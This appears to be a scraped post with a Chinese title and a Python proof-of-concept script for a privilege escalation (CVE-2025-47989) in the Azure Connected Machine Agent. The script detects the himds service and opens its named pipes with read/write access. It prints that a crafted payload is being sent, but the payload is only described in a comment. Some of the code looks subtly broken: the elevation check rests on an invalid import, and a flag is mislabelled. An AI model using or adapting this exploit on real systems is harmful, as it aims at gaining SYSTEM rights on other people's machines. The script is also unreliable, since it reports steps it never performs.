Azure Connected Machine Agent权限提升漏洞

# CVE-2025-47989 - Azure Connected Machine Agent Privilege Escalation PoC # This is a conceptual PoC demonstrating the privilege escalation vector # The vulnerability exists in improper access control within the Agent service import os import sys import subprocess import ctypes def check_agent_service(): """Check if Azure Connected Machine Agent service is running""" try: result = subprocess.run( ['sc', 'query', 'himds'], capture_output=True, text=True ) return 'RUNNING' in result.stdout except Exception: return False def exploit_access_control(): """ Exploit improper access control in Azure Connected Machine Agent. The Agent service (himds) runs with SYSTEM privileges but may have misconfigured ACLs on its IPC channels or working directories. """ if not check_agent_service(): print("[-] Azure Connected Machine Agent service not found") return False print("[*] Azure Connected Machine Agent detected") print("[*] Attempting to interact with Agent IPC channel...") # Identify accessible named pipes owned by the Agent service pipe_paths = [ r'\\.\pipe\himds', r'\\.\pipe\AzureConnectedMachineAgent', ] for pipe in pipe_paths: try: # Attempt to open the named pipe with weak permissions handle = ctypes.windll.kernel32.CreateFileW( pipe, 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0x07, # FILE_SHARE_READ | WRITE | DELETE None, 3, # OPEN_EXISTING 0x80, # SECURITY_SQOS_PRESENT None ) if handle != -1: print(f"[+] Accessible pipe found: {pipe}") print("[+] Sending crafted payload to escalate privileges...") # Payload would instruct Agent service to execute commands # in its SYSTEM-level context return True except Exception as e: print(f"[-] Pipe {pipe} not accessible: {e}") return False def verify_elevation(): """Verify if privilege escalation was successful""" try: import ctypes.windll return ctypes.windll.shell32.IsUserAnAdmin() != 0 except Exception: return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-47989 PoC - Azure Connected Machine Agent") print("Privilege Escalation via Improper Access Control") print("=" * 60) if exploit_access_control(): if verify_elevation(): print("[+] SUCCESS: Elevated to administrator context") else: print("[*] Exploit executed - check privilege level") else: print("[-] Exploitation failed")